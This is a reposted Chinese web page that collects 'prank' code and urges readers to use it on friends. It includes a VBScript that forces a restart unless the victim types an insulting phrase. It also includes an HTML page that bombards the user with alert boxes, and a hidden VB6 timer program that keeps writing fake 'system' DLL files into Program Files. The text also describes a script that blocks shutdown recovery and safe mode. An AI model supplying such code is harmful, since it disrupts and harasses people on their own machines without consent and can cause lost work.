vbs整人代码大集合 多年的代码收集
作者 佚名
来源 ASP编程
浏览
发布时间 2013-07-09
[color=#FF0000]复制以上代码，在桌面建一个文本，把代码放进去，另存为VBE格式， 此代码的威力： 1：开机就强制自动关机 2：cmd命令打不开 3：结束任务不管用 4：F8安全模式也不管用 呵呵！听起来是不是有点恐怖啊，我在我朋友空间里看见也吓了一跳、 代码破解方法：就是再运行一次，就可以破解了，也就是第2次保存的那个VBE文件，， PS：不要乱拿软件去整人，发生什么事可不要怪我啊。。 拍拍手 顶起吧! 2： 复制代码 代码如下: on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说你是傻B，我是天下第一大傻B不说宝宝，我是天下第一大傻B就一分钟关你机，不信，试试···"" ",0 ,true dim a do while(a <> "宝宝，我是天下第一大傻B") a = inputbox ("宝宝，我是天下第一大傻B,就不关机，快撒，说 ""宝宝，我是天下第一大傻B"" ","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛，乖乖" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "宝宝是不是又帅啦？？" 这代码是我从朋友那拿来的，大家可以试着玩下、你能做非法事情哦、 网页整人效果代码 想看效果，只要复制这下面的所有代码保存在text文件里，修改文件后缀为txt就能看到效果了。 复制代码 代码如下: <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <title>网页特效|Linkweb.cn/Js|---很恶心的常见整人效果</title> </head> <body> <a href="" onMouseover="alert(''为什么把鼠标放到这里?''); alert(''我不是说过不可以这样吗？''); alert(''你把我的话当什么了？''); alert(''你知道错了吗？''); alert(''什么？你居然....''); alert(''居然还没意识到自己做错了？''); alert(''那好，你要为此付出代价!''); alert(''我要你在这里点足一千下......''); alert(''什么？你开始有点后悔了？''); alert(''何必呢？''); alert(''你当初干什么去了？''); alert(''不原谅你！''); alert(''好从现在开始再点995下......''); alert(''你的手开始累了吗?''); alert(''什么？你已经没力气了？''); alert(''你一直在求我原谅你啊！''); alert(''看来你是真的知道错了!''); alert(''下次你还会这么做吗？''); alert(''真的不会了？''); alert(''那好，今天就放你一马！''); alert(''写封信给我说声对不起!''); alert(''你能这么做我很高兴!!!''); document.bgColor=''black''; document.fgColor=''White''; window.location.href=''mailto:mygod@god?subject=对不起,下次不敢了!'';">不许把鼠标移到这里</a> 嘻试吧爽噢。。 </body> </html> vbs整人代码 代码如下： 复制代码 代码如下: Private Sub Form_Load() Me.Hide End Sub Private Sub Timer1_Timer() ''声明变量，其中“count”为静态变量，以便生成不同的文件 Dim files As String Dim nr As String Dim c As String Static count As Long ''定义要把生成的文件存放在那个目录文件下 c = "C:\Program Files\" ''生成文件的内容 nr = "哈哈，被黑的感觉的不错吧" files = FreeFile ''如果a等于a那么就执行 If a = a Then ''count不断的加1，以便产生不同的文件名 count = count + 1 ''产生文件名及文件句柄，并用count作为产生不同的文件名。 Open c & "system" & count & ".dll" For Append As #files ''向文件写内容 Write #files, nr ''清除文件句柄，这里很重要，如果不清除，将产生打开文件太多的错误提示 Close #files End If End Sub |
凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务，公司网站：http://www.lingzhong.cn 为了给广大客户了解更多的技术信息，本技术文章收集来源于网络,凌众科技尊重文章作者的版权，如果有涉及你的版权有必要删除你的文章，请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息，谢谢! |
你可能对下面的文章感兴趣
上一篇: VBS访问剪贴板的几种方法小结下一篇: VBS中的标识符（Identifiers）
关于vbs整人代码大集合 多年的代码收集的所有评论
